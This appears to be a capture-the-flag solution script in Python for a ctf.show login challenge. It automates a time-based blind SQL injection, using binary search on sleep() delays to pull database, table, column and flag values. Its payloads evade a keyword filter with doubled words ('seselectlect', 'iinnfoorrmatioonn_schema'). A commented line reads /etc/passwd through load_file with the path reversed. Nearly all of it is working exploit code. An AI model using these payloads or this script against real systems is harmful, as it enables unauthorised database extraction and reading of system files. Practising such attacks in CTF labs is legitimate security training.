1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| import requests from time import * url='http://7de161e0-5158-4941-afc2-31cad344927a.challenge.ctf.show:8080/login.php'
flag='' for i in range(1,10000000): min=32 max=128 while 1: j=min+(max-min)//2 if min==j: flag+=chr(j) print(flag) break
#payload="-1'||if(ascii(substr(database(),{},1))<{},sleep(0.5),1)#".format(i,j) #payload="-1'||if(ascii(substr((seselectlect/**/group_coonncat(table_name)/**/from/**/iinnfoorrmatioonn_schema.tables/**/whewherere/**/table_schema/**/lilikeke/**/database()),{},1))<{},sleep(1),1)#".format(i,j) payload="-1'||if(ascii(substr((seselectlect/**/group_coonncat(column_name)/**/from/**/iinnfoorrmatioonn_schema.columns/**/whewherere/**/table_name/**/lilikeke/**/'ctf'),{},1))<{},sleep(1),1)#".format(i,j) #payload="-1'||if(ascii(substr((seselectlect/**/group_coonncat(value)/**/from/**/ctf),{},1))<{},sleep(0.4),1)#".format(i,j)
#payload="'||ascii(substr((load_file(reverse('dwssap/cte/'))),{},1))<{}#".format(i,j)
data={ 'username':payload, 'studentid':'1', 'submit':'提交' } try: r=requests.post(url=url,data=data,timeout=0.3) #print(r.text) min = j except: max = j
sleep(0.2)
|